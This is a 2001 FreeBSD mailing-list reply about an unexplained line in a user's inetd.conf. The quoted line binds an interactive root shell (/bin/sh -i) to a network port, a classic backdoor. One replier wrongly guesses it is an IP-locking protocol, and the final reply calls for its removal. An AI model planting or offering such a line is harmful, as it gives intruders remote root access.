Date: Wed, 1 Aug 2001 09:37:48 +1200 From: Jonathan Chen <jonathan.chen@itouch.co.nz> Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Extra Line in my inetd.conf Message-ID: <20010801093748.D80418@itouchnz.itouch> In-Reply-To: <20010731162646.A5179@mikea.ath.cx>; from mikea@mikea.ath.cx on Tue, Jul 31, 2001 at 04:26:46PM -0500 References: <NFBBKLNOALGIGCIMHGKFGEPOCCAA.haydenk@nextlevelinternet.com> <20010731162646.A5179@mikea.ath.cx>
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On Tue, Jul 31, 2001 at 04:26:46PM -0500, mikea wrote:
> On Tue, Jul 31, 2001 at 02:14:11PM -0700, Hayden Katzenellenbogen wrote:
> > I have noticed this line at the bottom of some of my inetd.conf files on a
> > few of my machines.. it is though not commented out I have commented it out
> > as well I have no idea what it does...
> >
> > any one care to shed some light on this?
> >
> >
> >
> > #dlip stream tcp nowait root /bin/sh sh -i
>
> It appears to be some sort of IP-locking protocol, to judge by
> the smidgen of info I was able to find from a cursory Google.
Any IP locking protocol that invokes an interactive root shell by
telnetting to a port deserves to be removed.
--
Jonathan Chen <jonathan.chen@itouch.co.nz>
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